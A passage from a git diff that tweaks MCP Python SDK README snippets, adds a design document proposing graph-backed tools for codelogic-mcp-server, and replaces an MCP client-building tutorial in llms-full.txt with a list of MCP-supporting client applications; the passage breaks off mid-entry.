print(f"Structured tool result: {result_structured}") @@ -2201,8 +2241,9 @@ Clients can also connect using [Streamable HTTP transport](https://modelcontextp ```python -"""Run from the repository root: -uv run examples/snippets/clients/streamable_basic.py +""" +Run from the repository root: + uv run examples/snippets/clients/streamable_basic.py """ import asyncio @@ -2240,8 +2281,9 @@ When building MCP clients, the SDK provides utilities to help display human-read ```python -"""cd to the `examples/snippets` directory and run: -uv run display-utilities-client +""" +cd to the `examples/snippets` directory and run: + uv run display-utilities-client """ import asyncio @@ -2254,7 +2296,7 @@ from mcp.shared.metadata_utils import get_display_name # Create server parameters for stdio connection server_params = StdioServerParameters( command="uv", # Using uv to run the server - args=["run", "server", "mcpserver_quickstart", "stdio"], + args=["run", "server", "fastmcp_quickstart", "stdio"], env={"UV_INDEX": os.environ.get("UV_INDEX", "")}, ) @@ -2280,7 +2322,7 @@ async def display_resources(session: ClientSession): print(f"Resource: {display_name} ({resource.uri})") templates_response = await session.list_resource_templates() - for template in templates_response.resource_templates: + for template in templates_response.resourceTemplates: display_name = get_display_name(template) print(f"Resource Template: {display_name}") @@ -2324,7 +2366,8 @@ The SDK includes [authorization support](https://modelcontextprotocol.io/specifi ```python -"""Before running, specify running MCP RS server URL. +""" +Before running, specify running MCP RS server URL. To spin up RS server locally, see examples/servers/simple-auth/README.md diff --git a/context/graph-mcp-tooling-ideas.md b/context/graph-mcp-tooling-ideas.md new file mode 100644 index 0000000..8adcd59 --- /dev/null +++ b/context/graph-mcp-tooling-ideas.md @@ -0,0 +1,196 @@ +# Graph-backed MCP & API tooling ideas + +## Goal + +Design **`codelogic-mcp-server`** so developers and AI agents get **safe, explainable** guidance when changing or generating code—grounded in the **knowledge graph**. + +### Execution model + +- **Curated graph access** lives behind an **HTTP API** (service layer runs bounded Cypher / repository logic against Neo4j). +- **MCP calls agent-oriented HTTP endpoints** only. +- **Avoid ad-hoc Bolt/Cypher from MCP** for product flows: weak guardrails, credential sprawl, and hard-to-cap queries. +- Direct graph access remains an **operator** concern if needed. +- The graph may contain **Java**, **C# (.NET)**, or **mixed** scans; tools must **adapt to what is present** (labels and relationship types vary by language and pipeline). + +## Existing `codelogic-mcp-server` tools (baseline) + +This document is about **enhancements** to the **same** MCP server (`codelogic-mcp-server`), not a separate product. Implementations live alongside the current tool registrations in `src/codelogic_mcp_server/handlers.py`. + +### Already shipped today + +| Tool | Role | +| --- | --- | +| **`codelogic-method-impact`** | Impact analysis for a **method** in a **class** via the **CodeLogic server** HTTP API (`CODELOGIC_WORKSPACE_NAME`, credentials in env). | +| **`codelogic-database-impact`** | Impact between **code and database** entities (table / view / column) via the same server API. | +| **`codelogic-ci`** | **CI/CD** helpers (scan agents, pipelines, build-info)—**not** graph exploration; stays independent of graph tooling. | + +### How graph tools relate + +- The proposed **`codelogic-graph-*`** tools **extend** the server’s surface area: deeper **graph discovery**, **bounded** traversals, **manifest-driven** behavior, and alignment with an **`/ai-retrieval`**-style HTTP API as that API is built out. +- They **complement** `codelogic-method-impact` and `codelogic-database-impact` where those stay the thin, stable wrappers around existing CodeLogic endpoints; over time, graph tools may **share backend capabilities** (same graph service) while keeping **MCP contracts** distinct from the web UI. +- **`codelogic-ci`** remains unchanged in purpose; agents doing graph work should still use CI tools only when editing pipelines or scan setup. + +## API Calls + +- **Agent routes** should live under a dedicated prefix such as **`/ai-retrieval`**, alongside existing **AI-style retrieval** (e.g. shortname / DB entity search by materialized view). + +### Suggested route sketches + +| Pattern | Purpose | +| --- | --- | +| `GET …/capabilities` (or `…/manifest`) | What this graph supports (labels, relationship types, scopes)—server-side introspection, not from MCP | +| `POST …/graph/search` | Structured search with disambiguation metadata | +| `GET …/graph/node/{id}` | Bounded describe + neighborhood | +| `GET …/graph/impact` | Normalized impact + confidence flags | +| `GET …/graph/path` | Bounded path between two node ids | +| `GET …/graph/scan-spaces` | Optional; when many scans share one DB | + +### Principles for new routes + +Strict **timeouts and row caps**; **request/response DTOs** for agents; reuse **services/repositories internally** shared with the UI without exposing UI routes to MCP. + +### Auth + +Same scheme as other secured API routes; MCP uses **service credentials**. + +## Observations from real graphs (Java and C#) + +These lessons come from **exploring** Neo4j-backed corpora (including direct graph reads during research). Production agents should consume the **`/ai-retrieval`**-style API, not raw graph queries. + +### Java-heavy graphs + +- **`Application` / named workspace** may be missing or sparse; **artifact-centric** identity (`JavaExecutable` / JAR, `JavaSourceFileEntity`, **`identity`** on methods and classes) often matters more than a single “app name.” +- **Duplicate nodes** are common (same logical file or method **many times** across materializations or history). Never treat **`name`** alone as unique; return **`elementId`**, full **`identity`**, and **multiplicity / disambiguation** hints. +- **`SEARCH` → `SearchNode`** can model **classpath / dependency** exposure; fanout ranges from **zero** to **very large**—tools must treat both as normal. +- **`INVOKES_METHOD`** may be **empty** where static analysis stops (e.g. framework entrypoints); report **confidence** / **static_analysis_gap** instead of implying no callers. +- **Unbounded scans** (`CONTAINS` on huge labels, global counts) **time out**; prefer **`elementId`**, tight **`identity STARTS WITH`**, and **`LIMIT`** / subqueries. +- **Shared libraries** may carry types whose names match the product; impact analysis may need **cross-artifact** scope. + +### C# / .NET-heavy graphs + +- **DotNet\*** labels may dominate; **Java** and **DB/HTTP** subgraphs may be **absent**. Tools must **feature-detect** and **degrade** (no hard dependency on `Endpoint`, `Table`, `INVOKES_METHOD`, `CONTAINS_SOURCEFILE`, etc.). +- **`.NET` `identity`** is often **pipe-delimited** (assembly, module, path, type, signature); short **method names** collide—same disambiguation rules as Java. +- **`Workspace` / `ScanSpace` / `MaterializedView`** properties may be **minimal or null** in some deployments; do not assume rich display names everywhere. +- **Relationship sets differ** from typical Java enterprise scans; traversal templates must be **per-rel-type flags**, not one fixed bundle. + +### Any language + +- **One database name** can point at **different corpora** over time—**discover** shape at runtime (manifest) or document environment explicitly. +- **`ScanSpace`** (or equivalent) sometimes encodes **repository + branch** in one string—useful **scope** when many variants share a DB. +- **`Workspace.displayName` + UUID** may be populated in some multi-repo setups—use when present. +- **`UnresolvedReference`** (and similar) can be **sparse**; treat as **best-effort** enrichment. + +## Graph model palette (verify per deployment) + +- **Org / scan:** `Workspace`, `ScanSpace`, `MaterializedView`, `MaterializedViewDefinition`, optional `Application` +- **Java:** `JavaExecutable`, `JavaSourceFileEntity`, `JavaClassEntity`, `JavaMethodEntity`, … +- **.NET:** `DotNetAssembly`, `DotNetModuleEntity`, `DotNetClassEntity`, `DotNetMethodEntity`, … +- **Data / HTTP (when scanned):** `Schema`, `Table`, `Column`, `View`, `StoredProcedure`, `Endpoint` +- **Other:** `SearchNode`, `UnresolvedReference` + +**Relationships (subset varies):** containment (`CONTAINS_*`), `SEARCH`, `REFERENCES_*`, `EXTENDS_CLASS`, `IMPLEMENTS_INTERFACE`, `INVOKES_METHOD`, `SERVES_ENDPOINT`, `GROUPS`, … + +**Metadata:** **`identity`** for disambiguation; **`name`** is not unique; optional owners/reviewers and metrics when present. + +## MCP tool catalog (API-backed) + +Implementations call **`/ai-retrieval`** (or equivalent on the CodeLogic host)—**not** UI graph URLs, **not** raw Cypher from MCP. + +### Discovery and targeting + +- **`codelogic-graph-search`** — Multi-strategy scope: materialized view, workspace UUID / display name when present, optional **scan-space / branch** filter, artifact or **identity prefix** fallback; returns **`elementId`**, **`identity`**, collision hints. +- **`codelogic-graph-scan-spaces`** (optional) — List or filter scan-space entries when multi-scan DBs. +- **`codelogic-graph-describe-node`** — One node + bounded neighborhood. +- **`codelogic-graph-neighborhood`** — Filtered 1–2 hop expansion. + +### Impact + +- **`codelogic-graph-impact`** — Seeds, direction, depth; applications **or** jars / scan buckets; **`confidence` / `static_analysis_gap`** when invoke edges are missing. +- **`codelogic-graph-path-explain`** — Bounded paths between entities. +- **`codelogic-graph-impact-summary`** — Aggregates by type, jar/package, optional scan dimension, owners. + +### Database and HTTP (when graph supports them) + +- **`codelogic-graph-db-usage`** / **`codelogic-graph-db-cascade-risk`** — Use **actual** relationship types in that deployment. +- **`codelogic-graph-classpath-slice`** — `SEARCH`-based slice with caps; **zero edges** is valid. +- **`codelogic-graph-unresolved-hints`** — Best-effort unresolved rows for a scope. +- **`codelogic-graph-endpoint-impact`** / **`codelogic-graph-endpoint-inventory`** — Only when **`Endpoint`** (and related) data exists. + +### Workflow and guardrails + +- **`codelogic-graph-owners`**, **`codelogic-graph-change-checklist`** +- **`codelogic-graph-validate-change-scope`**, **`codelogic-graph-risk-score`** (include optional **duplicate / multi-MV** penalty) + +## Recommended MVP + +1. `codelogic-graph-search` +2. `codelogic-graph-impact` +3. `codelogic-graph-path-explain` +4. `codelogic-graph-validate-change-scope` +5. `codelogic-graph-owners` + +Optional early win: **`codelogic-graph-classpath-slice`** when `SEARCH` data is useful and cheap. + +## Design principles + +- **Scope object**, not a single free-text workspace string: MV id, workspace id, scan filter, artifact prefix, or `elementId` list from a prior step. +- **No unbounded global scans** on large labels in default paths. +- **Curated server-side queries** only; optional **feature-flagged** raw query for admins. +- **Bounded depth**, **result caps**, **`query_stats`** and **`status`** (`ok`, `partial`, `timeout`, `error`) in responses. + +## Reliability + +- Timeouts and retries at the **HTTP** layer; caps inside the service. +- **`status=partial`** when truncated or degraded; never silent under-completion. + +## Implementation roadmap (sketch) + +**Phase 1 — Infrastructure:** HTTP client to graph API base (including **`/ai-retrieval`** path), auth, shared response normalization for MCP. + +**Phase 2 — MVP tools:** search, impact, path-explain; smoke tests against **Java** and, if available, **.NET** corpora. + +**Phase 3 — Guardrails:** validate-change-scope, owners, risk score. + +**Phase 4 — Domain packs:** Java web patterns, SQL evolution, cross-service HTTP—still behind the same API discipline. + +**Env (illustrative):** graph service base URL, materialized view / definition hints aligned with existing **`materializedViewId`**-style parameters, request timeouts. + +## Open questions (working answers) + +These were design tensions; below are **default recommendations** so implementation can proceed. Product or ops can still override with explicit configuration or API policy. + +### Canonical node among duplicates + +**Recommendation:** **Do not silently merge** duplicate graph nodes in the API. Every response row should carry **stable ids** (`elementId` or service-native id), **`identity`**, and **provenance** (materialized view / scan / materialization metadata when available). If the product ever defines a **canonical merge key**, that should be an **explicit, versioned** field (e.g. `logical_entity_id`) returned alongside raw nodes—not inferred from `name` alone. + +**Default narrowing:** Honor the caller’s **scope** (MV, workspace, optional scan-space filter). Within that scope, optional flags such as **`prefer_latest_scan=true`** (default **off** or **on** per product decision) should be **documented** and reflected in the response (`assumptions_applied`). + +### Multi-`ScanSpace` databases + +**Recommendation:** **Never default to “all scans”** for impact or path tools—too easy to mix branches and blow caps. Default to **(a)** the narrowest scope implied by the request (e.g. MV + latest materialization already resolved for shortname search), or **(b)** **require** an explicit **`scan_space` / branch / scan id`** when the backend detects **multiple** candidates for the same identity prefix. + +Search/discovery tools may return **disambiguation groups** (`status=partial`, multiple hits) instead of picking a branch arbitrarily. + +### Contract stability of labels and relationship types + +**Recommendation:** MCP tools and agent prompts target **semantic operations** (search, impact, path, describe), not raw Neo4j label strings. The HTTP layer exposes a **`capabilities` / `manifest`** (versioned: e.g. `graph_contract_version`, `capabilities_etag`) listing what exists **in that environment**. Breaking graph schema changes **update the manifest version**; clients pass `If-None-Match` or version when caching. Raw label names may still appear **inside** DTOs for debugging but are not the primary agent contract. + +### Risk scoring: deterministic first vs calibrated + +**Recommendation:** Ship **deterministic** scoring first—documented weighted signals (e.g. depth, fanout, duplicate multiplicity penalty, `static_analysis_gap` flags). Log **telemetry** (truncation, timeouts, optional anonymized counts) for later **calibration** or ML-assisted ranking **without** changing default semantics in a patch release. + +### Graph contract vs live label/relationship discovery + +**At runtime**, querying **`capabilities`** (or equivalent) is enough to know **which** labels and relationship types exist on **this** graph—agents and servers should **not** depend on a static list that can drift after rescans or upgrades. + +**A frozen minimal contract** is still useful for **other** reasons: **(1)** **Regression tests** need pinned expectations (fixture JSON sampled from `capabilities` at a known `graph_contract_version`, not “whatever prod returned Tuesday”). **(2)** **Semantics**—which rel types participate in “impact,” default scope rules, disambiguation—are **not** implied by `CALL db.relationshipTypes()`; they belong next to HTTP DTOs or a short doc. **(3)** **Compatibility**—which MCP/server pairs you support—is easier to state against a **versioned manifest** than against an unversioned live DB. + +So the “freeze” is **not** a second source of truth competing with discovery; it is **pinned artifacts + documented semantics** for engineering and release discipline. If you prefer, treat the “document” as **checked-in fixture snapshots** derived from `capabilities`, not a hand-maintained duplicate inventory. + +## Next steps + +1. Publish a small **`/ai-retrieval/.../capabilities`** (or equivalent) contract. +2. Freeze a minimal **graph contract** document **per target graph context** (labels, rels, scope rules): usually **one CodeLogic server deployment** (host/tenant) you care about, and—if schema differs materially—**scanner or graph-ingestion version band**. *Environment* here means **“this graph as deployed”** (what labels/rels actually exist), **not** a generic `.env` file; the live **`capabilities`** response stays authoritative, while the frozen doc is what you **test and document MCP against** until the manifest version bumps. +3. Define MCP tool **JSON schemas** and map each to **one or a few** HTTP operations. +4. Implement MVP with **id- and prefix-first** queries and strict caps. +5. Add **fixtures** that include **duplicates** (same name, many ids) and **multi-scan** scope for regression tests. diff --git a/context/llms-full.txt b/context/llms-full.txt index 028cf1f..05c14ba 100644 --- a/context/llms-full.txt +++ b/context/llms-full.txt @@ -1,2085 +1,1937 @@ -# Build an MCP client -Source: https://modelcontextprotocol.io/docs/develop/build-client +this file comes from https://modelcontextprotocol.io/llms-full.txt -Get started building your own client that can integrate with all MCP servers. +# Example Clients +Source: https://modelcontextprotocol.io/clients -In this tutorial, you'll learn how to build an LLM-powered chatbot client that connects to MCP servers. +A list of applications that support MCP integrations -Before you begin, it helps to have gone through our [Build an MCP Server](/docs/develop/build-server) tutorial so you can understand how clients and servers communicate. +This page showcases applications that support the Model Context Protocol (MCP). Each client may support different MCP features: + +| Feature | Description | +| ---------------- | ------------------------------------------------------------------------------------------------------------ | +| | Server-exposed data and content | +| | Pre-defined templates for LLM interactions | +| | Executable functions that LLMs can invoke | +| | Support for tools/prompts/resources changed notifications | +| | Server-provided guidance for LLMs | +| | Server-initiated LLM completions | +| | Filesystem boundary definitions | +| | User information requests | +| | [Client ID Metadata Document](specification/latest/basic/authorization#client-id-metadata-documents) support | +| | [Dynamic Client Registration](specification/latest/basic/authorization#dynamic-client-registration) support | +| | [OAuth Client Credentials](/extensions/auth/oauth-client-credentials) extension support | +| | [Enterprise-Managed Authorization](/extensions/auth/enterprise-managed-authorization) extension support | +| | Long-running operation tracking | +| | Interactive HTML interfaces | - - - [You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/mcp-client-python) + + This list is maintained by the community. If you notice any inaccuracies or would like to add or update information about MCP support in your application, please [submit a pull request](https://github.com/modelcontextprotocol/modelcontextprotocol/pulls). + - ## System Requirements +## Client details - Before starting, ensure your system meets these requirements: + - * Mac or Windows computer - * Latest Python version installed - * Latest version of `uv` installed + + 5ire is an open source cross-platform desktop AI assistant that supports tools through MCP servers. - ## Setting Up Your Environment + **Key features:** - First, create a new Python project with `uv`: + * Built-in MCP servers can be quickly enabled and disabled. + * Users can add more servers by modifying the configuration file. + * It is open-source and user-friendly, suitable for beginners. + * Future support for MCP will be continuously improved. + - - ```bash macOS/Linux theme={null} - # Create project directory - uv init mcp-client - cd mcp-client + + AgentAI is a Rust library designed to simplify the creation of AI agents. The library includes seamless integration with MCP Servers. - # Create virtual environment - uv venv + **Key features:** - # Activate virtual environment - source .venv/bin/activate + * Multi-LLM – We support most LLM APIs (OpenAI, Anthropic, Gemini, Ollama, and all OpenAI API Compatible). + * Built-in support for MCP Servers. + * Create agentic flows in a type- and memory-safe language like Rust. - # Install required packages - uv add mcp anthropic python-dotenv + **Learn more:** - # Remove boilerplate files - rm main.py + * [Example of MCP Server integration](https://github.com/AdamStrojek/rust-agentai/blob/master/examples/tools_mcp.rs) + - # Create our main file - touch client.py - ``` + + AgenticFlow is a no-code AI platform that helps you build agents that handle sales, marketing, and creative tasks around the clock. Connect 2,500+ APIs and 10,000+ tools securely via MCP. - ```powershell Windows theme={null} - # Create project directory - uv init mcp-client - cd mcp-client + **Key features:** - # Create virtual environment - uv venv + * No-code AI agent creation and workflow building. + * Access a vast library of 10,000+ tools and 2,500+ APIs through MCP. + * Simple 3-step process to connect MCP servers. + * Securely manage connections and revoke access anytime. - # Activate virtual environment - .venv\Scripts\activate + **Learn more:** - # Install required packages - uv add mcp anthropic python-dotenv + * [AgenticFlow MCP Integration](https://agenticflow.ai/mcp) + - # Remove boilerplate files - del main.py + + AIQL TUUI is a native, cross-platform desktop AI chat application with MCP support. It supports multiple AI providers (e.g., Anthropic, Cloudflare, Deepseek, OpenAI, Qwen), local AI models (via vLLM, Ray, etc.), and aggregated API platforms (such as Deepinfra, Openrouter, and more). - # Create our main file - new-item client.py - ``` - + **Key features:** - ## Setting Up Your API Key + * **Dynamic LLM API & Agent Switching**: Seamlessly toggle between different LLM APIs and agents on the fly. + * **Comprehensive Capabilities Support**: Built-in support for tools, prompts, resources, and sampling methods. + * **Configurable Agents**: Enhanced flexibility with selectable and customizable tools via agent settings. + * **Advanced Sampling Control**: Modify sampling parameters and leverage multi-round sampling for optimal results. + * **Cross-Platform Compatibility**: Fully compatible with macOS, Windows, and Linux. + * **Free & Open-Source (FOSS)**: Permissive licensing allows modifications and custom app bundling. - You'll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys). + **Learn more:** - Create a `.env` file to store it: + * [TUUI document](https://www.tuui.com/) + * [AIQL GitHub repository](https://github.com/AI-QL) + - ```bash theme={null} - echo "ANTHROPIC_API_KEY=your-api-key-goes-here" > .env - ``` + + Amazon Q CLI is an open-source, agentic coding assistant for terminals. - Add `.env` to your `.gitignore`: + **Key features:** - ```bash theme={null} - echo ".env" >> .gitignore - ``` + * Full support for MCP servers. + * Edit prompts using your preferred text editor. + * Access saved prompts instantly with `@`. + * Control and organize AWS resources directly from your terminal. + * Tools, profiles, context management, auto-compact, and so much more! - - Make sure you keep your `ANTHROPIC_API_KEY` secure! - + **Get Started** - ## Creating the Client + ```bash theme={null} + brew install amazon-q + ``` + - ### Basic Client Structure + + Amazon Q IDE is an open-source, agentic coding assistant for IDEs. - First, let's set up our imports and create the basic client class: + **Key features:** - ```python theme={null} - import asyncio - from typing import Optional - from contextlib import AsyncExitStack + * Support for the VSCode, JetBrains, Visual Studio, and Eclipse IDEs. + * Control and organize AWS resources directly from your IDE. + * Manage permissions for each MCP tool via the IDE user interface. + - from mcp import ClientSession, StdioServerParameters - from mcp.client.stdio import stdio_client + + Amp is an agentic coding tool built by Sourcegraph. It runs in VS Code (and compatible forks like Cursor, Windsurf, and VSCodium), JetBrains IDEs, Neovim, and as a command-line tool. It's also multiplayer — you can share threads and collaborate with your team. - from anthropic import Anthropic - from dotenv import load_dotenv + **Key features:** - load_dotenv() # load environment variables from .env + * Granular control over enabled tools and permissions + * Support for MCP servers defined in VS Code `mcp.json` + - class MCPClient: - def __init__(self): - # Initialize session and client objects - self.session: Optional[ClientSession] = None - self.exit_stack = AsyncExitStack() - self.anthropic = Anthropic() - # methods will go here - ``` + + Apidog, an all-in-one API development and testing platform, features a built-in MCP Client designed for debugging and testing MCP Servers. - ### Server Connection Management + **Key features:** - Next, we'll implement the method to connect to an MCP server: + * **Full Feature Support**: Debug Tools, Prompts, and Resources of MCP servers with a user-friendly GUI. + * **Dual Transport Modes**: Supports both STDIO for local processes and HTTP for remote servers. + * **Easy Setup**: Automatically parses MCP configuration files and supports direct command or URL input. + * **Authentication**: Supports OAuth 2.0, API Key, Bearer Token, and other methods for secure connections. + - ```python theme={null} - async def connect_to_server(self, server_script_path: str): - """Connect to an MCP server + + Apify MCP Tester is an open-source client that connects to any MCP server using Server-Sent Events (SSE). + It is a standalone Apify Actor designed for testing MCP servers over SSE, with support for Authorization headers. + It uses plain JavaScript (old-school style) and is hosted on Apify, allowing you to run it without any setup. - Args: - server_script_path: Path to the server script (.py or .js) - """ - is_python = server_script_path.endswith('.py') - is_js = server_script_path.endswith('.js') - if not (is_python or is_js): - raise ValueError("Server script must be a .py or .js file") + **Key features:** - command = "python" if is_python else "node" - server_params = StdioServerParameters( - command=command, - args=[server_script_path], - env=None - ) + * Connects to any MCP server via SSE. + * Works with the [Apify MCP Server](https://mcp.apify.com) to interact with one or more Apify [Actors](https://apify.com/store). + * Dynamically utilizes tools based on context and user queries (if supported by the server). + - stdio_transport = await self.exit_stack.enter_async_context(stdio_client(server_params)) - self.stdio, self.write = stdio_transport - self.session = await self.exit_stack.enter_async_context(ClientSession(self.stdio, self.write)) + + Apigene MCP Client is an AI-powered conversational interface that enables seamless interaction with multiple applications, APIs, and MCP servers through natural language. It provides a unified interface for deploying agents across different AI platforms with optimized performance and governance. - await self.session.initialize() + **Key features:** - # List available tools - response = await self.session.list_tools() - tools = response.tools - print("\nConnected to server with tools:", [tool.name for tool in tools]) - ``` + * **Multi-LLM Compatibility**: Works seamlessly with all leading AI platforms including Claude, OpenAI (ChatGPT), Gemini, xAI, and OpenRouter. Deploy the same agent across different platforms without modification. + * **Optimized for Cost & Performance**: Dynamic tool loading loads tools only when needed, enabling thousands of tools without context bloat. Tool output optimization provides up to 99% payload reduction via compact JSON representation. Parallel execution runs multiple tool calls simultaneously for 10x faster responses. + * **Unified Multi-Tool Interface**: Mesh multiple APIs and MCP servers into a single agent. Interact with all tools seamlessly from one Copilot interface without glue code or framework-specific logic. + * **Governed Access & Audit**: Fine-grained access control defines exactly which operations each user or agent can perform. Complete audit trail tracks every tool call with timestamps, inputs, and outputs for compliance. - ### Query Processing Logic + **Learn more:** - Now let's add the core functionality for processing queries and handling tool calls: + * [Apigene Copilot Documentation](https://docs.apigene.ai/user-guide/copilot) + - ```python theme={null} - async def process_query(self, query: str) -> str: - """Process a query using Claude and available tools""" - messages = [ - { - "role": "user", - "content": query - } - ] + + Archestra is an enterprise AI platform that combines an LLM proxy, MCP registry/orchestrator, MCP gateway, agent runtime, and chat UI into a single control plane for building, routing, and securing AI workflows. - response = await self.session.list_tools() - available_tools = [{ - "name": tool.name, - "description": tool.description, - "input_schema": tool.inputSchema - } for tool in response.tools] + **Key features:** - # Initial Claude API call - response = self.anthropic.messages.create( - model="claude-sonnet-4-20250514", - max_tokens=1000, - messages=messages, - tools=available_tools - ) + * Unified MCP gateway that exposes a single endpoint for orchestrating tools across remote and self-hosted MCP servers. + * Supports MCP Apps for inline, interactive tool UIs in chat. + * Supports DCR and CIMD for MCP-native OAuth 2.1 client registration. + * Supports the Enterprise-Managed Authorization extension for centrally managed enterprise identity flows. + * Includes an LLM proxy with deterministic, context-aware tool guardrails to reduce prompt-injection and data-exfiltration risk. + * Adds per-team cost tracking, usage limits, and optimization controls for model traffic. + - # Process response and handle tool calls - final_text = [] + + Augment Code is an AI-powered coding platform for VS Code and JetBrains with autonomous agents, chat, and completions. Both local and remote agents are backed by full codebase awareness and native support for MCP, enabling enhanced context through external sources and tools. - assistant_message_content = [] - for content in response.content: - if content.type == 'text': - final_text.append(content.text) - assistant_message_content.append(content) - elif content.type == 'tool_use': - tool_name = content.name - tool_args = content.input + **Key features:** - # Execute tool call - result = await self.session.call_tool(tool_name, tool_args) - final_text.append(f"[Calling tool {tool_name} with args {tool_args}]") + * Full MCP support in local and remote agents. + * Add additional context through MCP servers. + * Automate your development workflows with MCP tools. + * Works in VS Code and JetBrains IDEs. + - assistant_message_content.append(content) - messages.append({ - "role": "assistant", - "content": assistant_message_content - }) - messages.append({ - "role": "user", - "content": [ - { - "type": "tool_result", - "tool_use_id": content.id, - "content": result.content - } - ] - }) - - # Get next response from Claude - response = self.anthropic.messages.create( - model="claude-sonnet-4-20250514", - max_tokens=1000, - messages=messages, - tools=available_tools - ) + + Avatar-Shell is an electron-based MCP client application that prioritizes avatar conversations and media output such as images. - final_text.append(response.content[0].text) + **Key features:** - return "\n".join(final_text) - ``` + * MCP tools and resources can be used + * Supports avatar-to-avatar communication via socket.io. + * Supports the mixed use of multiple LLM APIs. + * The daemon mechanism allows for flexible scheduling. + - ### Interactive Chat Interface + + BeeAI Framework is an open-source framework for building, deploying, and serving powerful agentic workflows at scale. The framework includes the **MCP Tool**, a native feature that simplifies the integration of MCP servers into agentic workflows. - Now we'll add the chat loop and cleanup functionality: + **Key features:** - ```python theme={null} - async def chat_loop(self): - """Run an interactive chat loop""" - print("\nMCP Client Started!") - print("Type your queries or 'quit' to exit.") + * Seamlessly incorporate MCP tools into agentic workflows. + * Quickly instantiate framework-native tools from connected MCP client(s). + * Planned future support for agentic MCP capabilities. - while True: - try: - query = input("\nQuery: ").strip() + **Learn more:** - if query.lower() == 'quit': - break + * [Example of using MCP tools in agentic workflow](https://i-am-bee.github.io/beeai-framework/#/typescript/tools?id=using-the-mcptool-class) + - response = await self.process_query(query) - print("\n" + response) + + BoltAI is a native, all-in-one AI chat client with MCP support. BoltAI supports multiple AI providers (OpenAI, Anthropic, Google AI...), including local AI models (via Ollama, LM Studio or LMX) - except Exception as e: - print(f"\nError: {str(e)}") + **Key features:** - async def cleanup(self): - """Clean up resources""" - await self.exit_stack.aclose() - ``` + * MCP Tool integrations: once configured, user can enable individual MCP server in each chat + * MCP quick setup: import configuration from Claude Desktop app or Cursor editor + * Invoke MCP tools inside any app with AI Command feature + * Integrate with remote MCP servers in the mobile app - ### Main Entry Point + **Learn more:** - Finally, we'll add the main execution logic: + * [BoltAI docs](https://boltai.com/docs/plugins/mcp-servers) + * [BoltAI website](https://boltai.com) + - ```python theme={null} - async def main(): - if len(sys.argv) < 2: - print("Usage: python client.py ") - sys.exit(1) + + Bob Shell brings IBM Bob's AI capabilities to your command line. - client = MCPClient() - try: - await client.connect_to_server(sys.argv[1]) - await client.chat_loop() - finally: - await client.cleanup() + **Key features:** - if __name__ == "__main__": - import sys - asyncio.run(main()) - ``` + * Custom slash commands for workflow automation and team standardization + * Checkpointing system with automatic Git snapshots before file changes + * Trusted folders security to control project access and capabilities + * Sandboxing support (macOS Seatbelt, Docker, Podman) for isolated operations + * Specialized modes (Code, Ask, Plan, Advanced) for different workflows + - You can find the complete `client.py` file [here](https://github.com/modelcontextprotocol/quickstart-resources/blob/main/mcp-client-python/client.py). + + Call Chirp uses AI to capture every critical detail from your business conversations, automatically syncing insights to your CRM and project tools so you never miss another deal-closing moment. - ## Key Components Explained + **Key features:** - ### 1. Client Initialization + * Save transcriptions from Zoom, Google Meet, and more + * MCP Tools for voice AI agents + * Remote MCP servers support + - * The `MCPClient` class initializes with session management and API clients - * Uses `AsyncExitStack` for proper resource management - * Configures the Anthropic client for Claude interactions + + Chatbox is a better UI and desktop app for ChatGPT, Claude, and other LLMs, available on Windows, Mac, Linux, and the web. It's open-source and has garnered 37K stars on GitHub. - ### 2. Server Connection + **Key features:** - * Supports both Python and Node.js servers - * Validates server script type - * Sets up proper communication channels - * Initializes the session and lists available tools + * Tools support for MCP servers + * Support both local and remote MCP servers + * Built-in MCP servers marketplace + - ### 3. Query Processing + + ChatFrame is a cross-platform desktop chatbot that unifies access to multiple AI language models, supports custom tool integration via MCP servers, and enables RAG conversations with your local files—all in a single, polished app for macOS and Windows. - * Maintains conversation context - * Handles Claude's responses and tool calls - * Manages the message flow between Claude and tools - * Combines results into a coherent response + **Key features:** - ### 4. Interactive Interface + * Unified access to top LLM providers (OpenAI, Anthropic, DeepSeek, xAI, and more) in one interface + * Built-in retrieval-augmented generation (RAG) for instant, private search across your PDFs, text, and code files + * Plug-in system for custom tools via Model Context Protocol (MCP) servers + * Multimodal chat: supports images, text, and live interactive artifacts + - * Provides a simple command-line interface - * Handles user input and displays responses - * Includes basic error handling - * Allows graceful exit + + ChatGPT is OpenAI's AI assistant that provides MCP support for remote servers to conduct deep research and to power MCP-based apps. - ### 5. Resource Management + **Key features:** - * Proper cleanup of resources - * Error handling for connection issues - * Graceful shutdown procedures + * Support for MCP via connections UI in settings + * Access to search tools from configured MCP servers for deep research + * Support for MCP Apps, allowing ChatGPT to connect to MCP-based applications + * Enterprise-grade security and compliance features + - ## Common Customization Points + + ChatWise is a desktop-optimized, high-performance chat application that lets you bring your own API keys. It supports a wide range of LLMs and integrates with MCP to enable tool workflows. - 1. **Tool Handling** - * Modify `process_query()` to handle specific tool types - * Add custom error handling for tool calls - * Implement tool-specific response formatting + **Key features:** - 2. **Response Processing** - * Customize how tool results are formatted - * Add response filtering or transformation - * Implement custom logging + * Tools support for MCP servers + * Offer built-in tools like web search, artifacts and image generation. + - 3. **User Interface** - * Add a GUI or web interface - * Implement rich console output - * Add command history or auto-completion + + Chorus is a native Mac app for chatting with AIs. Chat with multiple models at once, run tools and MCPs, create projects, quick chat, bring your own key, all in a blazing fast, keyboard shortcut friendly app. - ## Running the Client + **Key features:** - To run your client with any MCP server: + * MCP support with one-click install + * Built in tools, like web search, terminal, and image generation + * Chat with multiple models at once (cloud or local) + * Create projects with scoped memory + * Quick chat with an AI that can see your screen + - ```bash theme={null} - uv run client.py path/to/server.py # python server - uv run client.py path/to/build/index.js # node server - ``` + + Claude Code is an interactive agentic coding tool from Anthropic that helps you code faster through natural language commands. It supports MCP integration for resources, prompts, tools, and roots, and also functions as an MCP server to integrate with other clients. - - If you're continuing [the weather tutorial from the server quickstart](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-python), your command might look something like this: `python client.py .../quickstart-resources/weather-server-python/weather.py` - + **Key features:** - The client will: + * Full support for resources, prompts, tools, and roots from MCP servers + * Offers its own tools through an MCP server for integrating with other MCP clients + - 1. Connect to the specified server - 2. List available tools - 3. Start an interactive chat session where you can: - * Enter queries - * See tool executions - * Get responses from Claude + + Claude Desktop provides comprehensive support for MCP, enabling deep integration with local tools and data sources. - Here's an example of what it should look like if connected to the weather server from the server quickstart: + **Key features:** - - - + * Full support for resources, allowing attachment of local files and data + * Support for prompt templates + * Tool integration for executing commands and scripts + * Local server connections for enhanced privacy and security + - ## How It Works + + Claude.ai is 